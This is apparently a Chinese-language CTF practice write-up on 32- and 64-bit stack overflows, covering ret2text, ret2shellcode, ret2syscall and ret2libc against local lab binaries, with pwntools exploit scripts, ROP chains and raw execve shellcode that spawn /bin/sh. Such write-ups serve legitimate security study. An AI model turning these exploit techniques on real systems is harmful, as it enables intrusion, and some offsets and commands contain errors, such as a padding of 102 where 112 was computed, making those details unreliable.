栈溢出练习(1)

具体原理参考：ctf-wiki

测试文件：点击下载

栈溢出

原理

栈溢出的基本前提是

• 程序必须向栈上写入数据。
• 写入的数据大小没有被良好地控制。

例题

源码：

#include <stdio.h>
#include <string.h>
void success() { puts("You hack me."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

命令：

gcc -m32 -fno-stack-protector -no-pie test.c -o test1

-m32：编译为32位文件
-fno-stack-protector：关闭堆栈溢出保护
-no-pie：关闭地址随机化

环境

如果提示：/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: 没有那个文件或目录
下载支撑文件：sudo apt-get install gcc-multilib g+±multilib module-assistant

分析

检测文件：

需要了解在32位程序中，调用函数的过程：
函数返回地址入栈->EBP入栈->局部变量入栈(esp为局部变量申请的一段栈空间)

我们需要将局部变量空间溢出，占用EBP空间，修改返回地址为success函数地址

s为[ebp-14h]，距离栈顶0x14字节



success_addr = 0x08049172

因此修改的payload=距离EBP大小+EBP大小+success地址

exp

from pwn import *

p = process('./test1')
success_addr=0x08049172
payload = 'a'*0x14 +'bbbb'+p32(success_addr)
print p32(success_addr)
p.sendline(payload)
p.interactive()

常见存在栈溢出函数：

• 输入
  • gets，直接读取一行，忽略’x00’
  • scanf
  • vscanf
• 输出
  • sprintf
• 字符串
  • strcpy，字符串复制，遇到’x00’停止
  • strcat，字符串拼接，遇到’x00’停止
  • bcopy

ROP

介绍

ROP 攻击一般得满足如下条件

• 程序存在溢出，并且可以控制返回地址。
• 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。这时，我们需要知道对应返回的代码的位置。


1.准备

保护机制



2.IDA查看源码

在主函数中调用了gets，因此我们可以利用s的地址，ebp-add(s)+size(ebp)计算出填充大小。

 

在secure函数发现执行了系统命令"/bin/sh"，因此我们能够通过修改主函数返回地址为调用"/bin/sh"指令地址0x0804863a，来获取系统shell(权限)

 

3.计算填充大小
因为s的值是通过esp来索引，因此我们首先需要获取esp的值，在gets函数处下断点。

esp=0xffffcf80
addr(s)=esp+0x1C
ebp=0xffffd008

因此填充字符串payload = ‘a’*(ebp-(esp+0x1C)+4)+p32(0x0804863a)
0xffffd008 - 0xffffcf80 - 0x1C + 4 = 112


4.exp

from pwn import *
p = process('./ret2text')
addr = 0x0804863a
payload = 'a'*102+p32(addr)
p.sendline(payload)
p.interactive()

 

ret2shellcode

ret2shellcode，即控制程序执行 shellcode 代码。

1.检测

32位文件，可以对栈中数据读写，执行代码。


2.代码分析
IDA打开：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

有gets函数，可以利用栈溢出，这里将获得的字符串复制到了buf2中。查看buf2

bbs段即存储未初始化的静态变量和全局变量(记录变量所需空间大小)
介绍：bbs段的理解


查看这个段是否有执行shellcode命令的权限

rwxp是可读写的(r-xp可读)

因此我们能够利用gets溢出s修改函数返回地址到buf2
计算填充大小：在gets下断点后，运行

eax            0x20 0x20
ecx            0xf7fad010   0xf7fad010
edx            0x20 0x20
ebx            0x0  0x0
esp            0xffffcf70   0xffffcf70
ebp            0xffffcff8   0xffffcff8
esi            0xf7fab000   0xf7fab000
edi            0xf7fab000   0xf7fab000
eip            0x804858c    0x804858c <main+95>
eflags         0x246    [ PF ZF IF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0  0x0
gs             0x63 0x63

0xffffcff8 - 0xffffcf70 - 0x1C + 4 = 112


3.exp

from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
addr_buf2 = 0x0804A080
p.sendline(shellcode.ljust(112,'a')+p32(addr_buf2))
p.interactive()

sniperoj-pwn100-shellcode-x86-64

1.准备

获取信息：

• 64位文件
• 只开启了地址随机化

2.代码分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?
", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

因此我们能够使用read来进行栈溢出，因为代码中已经动态的输出了buf的地址，因此随机化地址就没有作用了。

在buf处下断点，确定距离返回地址的距离

因为buf为[esp+0h]，因此到EIP的字节数为EBP - ESP + size(EBP) = 0x7fffffffde20 - 0x7fffffffde10 + 8 = 24

之前使用的shellcraft.sh()生成的shellcode有44字节，在这里只有24字节，因此并不适用，需要我们到 https://www.exploit-db.com/shellcodes 或者 http://shell-storm.org/shellcode/ 查询构造相应的shellcode，例如查到

https://www.exploit-db.com/shellcodes/43550

https://www.exploit-db.com/shellcodes/46907

因为leave指令会释放栈空间，因此我们不能使用buf后面的24字节。

3.exp

# -*- coding:utf-8 -*-
from pwn import *

shellcode="x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"# 23字节的shellcode

p = process('./sniperoj-pwn100-shellcode-x86-64')
p.recvuntil('[')
buf_addr = p.recvuntil(']',drop=True)# 获取buf的地址
print int(buf_addr,16)
fillw_addr = int(buf_addr,16) + 24 + 8# 指向shellcode的地址
p.sendline(24*'a'+p64(fillw_addr)+shellcode)
p.interactive()

 

ret2syscall

ret2syscall，即控制程序执行系统调用，获取 shell。常用是执行execve("/bin/sh",NULL,NULL)

1.检测

获取到信息：

• 32位文件
• 开启了NX

 这道题我们就不能执行shellcode了。使用IDA查看源码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

2.分析

很明显，我们能够利用gets进行栈溢出，利用gdb计算出需要填充的字节数为：0xffffd028 - 0xffffcfa0 - 0x1c + 4 = 112

其次，我们需要程序去调用execve("/bin/sh",NULL,NULL)，即使得

• eax=系统调用号
• ebx="/bin/sh"的地址
• ecx=0
• edx=0

再执行int 0x80中断就能运行对应系统调用。

系统调用号：https://www.cnblogs.com/Mayfly-nymph/p/12243003.html

execve的系统调用号为:11

接着，我们需要找到对应的gadgets来将对应参数放入寄存器中，因为参数是在栈中，因此我们需要pop指令来给寄存器赋（先将pop指令存入栈中，再将对应参数压入栈中，这样pop指令将会把高地址参数存入寄存器中）。

pop eax

使用 0x080bb196 : pop eax ; ret

pop ebx;pop ecx;pop edx

选择 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

"/bin/sh"

0x080be408 : /bin/sh

int 0x80

0x08049421 : int 0x80

3.exp

from pwn import *

p = process('./rop')
eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = flat(['a'*112,eax_ret,0xb,edx_ecx_ebx_ret,0,0,bin_sh,int_0x80])
p.sendline(payload)
p.interactive()

 pop 指令将会把高地址参数存入指定寄存器。ret指令执行下一条指令。

ret2libc

ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下，我们会选择执行 system("/bin/sh")

ret2libc1

1.检查

获取信息：

• 32位文件
• 开启NX

IDA查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

2.分析

依旧利用gets进行栈溢出，和上道相似，修改EIP为system("/bin/sh")的地址

首先利用gdb计算填充字节大小：0xffffd008-0xffffcf80-0x1c+4

接着，查找system("/bin/sh")的地址

在IDA找到程序的system函数地址

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

3.exp

from pwn import *

p = process('./ret2libc1')
bin_sh = 0x8048720
sys_addr = 0x8048460
payload = flat(['a'*112,sys_addr,'b'*4,bin_sh])
p.sendline(payload)
p.interactive()

正常调用system函数有返回值，将'b'*4作为返回值

ret2libc2

1.检查

获取信息：

• 32位文件
• NX开启

IDA打开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

2.分析

可以利用gets进行栈溢出，还是先利用GDB计算一下填充字节数：0xffffd008 - 0xffffcf80 - 0x1c + 4 = 112

程序中不存在"/bin/sh"，但找到了system函数和gets函数

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]

.plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

因此需要我们自己输入'/bin/sh'，程序中没有eax，我们就用ebx来传递参数

0x0804843d : pop ebx ; ret

3.exp

from pwn import *

p = process('./ret2libc2')

plt_gets = 0x8048460
plt_sys = 0x8048490
buf2_addr = 0x804a080
pop_ebx_addr = 0x804843d

payload = flat(['a'*112,plt_gets,pop_ebx_addr,buf2_addr,plt_sys,'b'*4,buf2_addr])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()